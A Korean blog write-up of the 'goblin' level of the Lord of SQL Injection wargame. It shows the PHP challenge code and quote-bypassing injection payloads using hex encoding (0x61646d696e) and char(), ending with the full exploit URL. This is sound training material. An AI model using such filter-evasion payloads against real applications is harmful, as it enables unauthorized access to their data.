본문 바로가기
lord of sql injection

[Lord of sql injeciton] goblin

by skyepodium 2023. 5. 5.

1. 개요

hex encoding, char() 문제

 

2. 분석

id=admin인 유저를 조회해야합니다. 

<?php 
  include "./config.php"; 
  login_chk(); 
  $db = dbconnect(); 
  if(preg_match('/prob|_|\.|\(\)/i', $_GET[no])) exit("No Hack ~_~"); 
  if(preg_match('/\'|\"|\`/i', $_GET[no])) exit("No Quotes ~_~"); 
  $query = "select id from prob_goblin where id='guest' and no={$_GET[no]}"; 
  echo "<hr>query : <strong>{$query}</strong><hr><br>"; 
  $result = @mysqli_fetch_array(mysqli_query($db,$query)); 
  if($result['id']) echo "<h2>Hello {$result[id]}</h2>"; 
  if($result['id'] == 'admin') solve("goblin");
  highlight_file(__FILE__); 
?>

 

테스트를 해보았는고 DB에 다음과 같이 들어있습니다.

no - 1 - guset

no - 2- admin

 

따라서, 다음과 같이 입력하면 admin이 조회되기는 합니다.

0 or no=2

 

다만, 이 문제는 원래 문자열 조회 조건에 사용되는 (', ", `)을 사용하지 못하도록 설계되었는데 이것을 우회하는 방법에는 2가지가 있습니다.

- hex encoindg된 문자열 사용

- char() 사용

 

1) hex encoding 문자열

admin의 hex encoding 문자열 0x61646d696e을 사용할 수 있습니다.

0 or id=0x61646d696e

 

2) char()

char() 함수를 호출하면서 10진수 아스키코드값을 넣을 수 있습니다.

0 or id=char(97, 100, 109, 105, 110)

 

3. exploit

hex 문자열을 사용했습니다.

https://los.rubiya.kr/chall/goblin_e5afb87a6716708e3af46a849517afdc.php?no=0%20or%20id=0x61646d696e

'lord of sql injection' 카테고리의 다른 글

[Lord of sql injeciton] cobolt  (0) 2023.05.05
[Lord of sql injeciton] gremlin  (0) 2023.05.05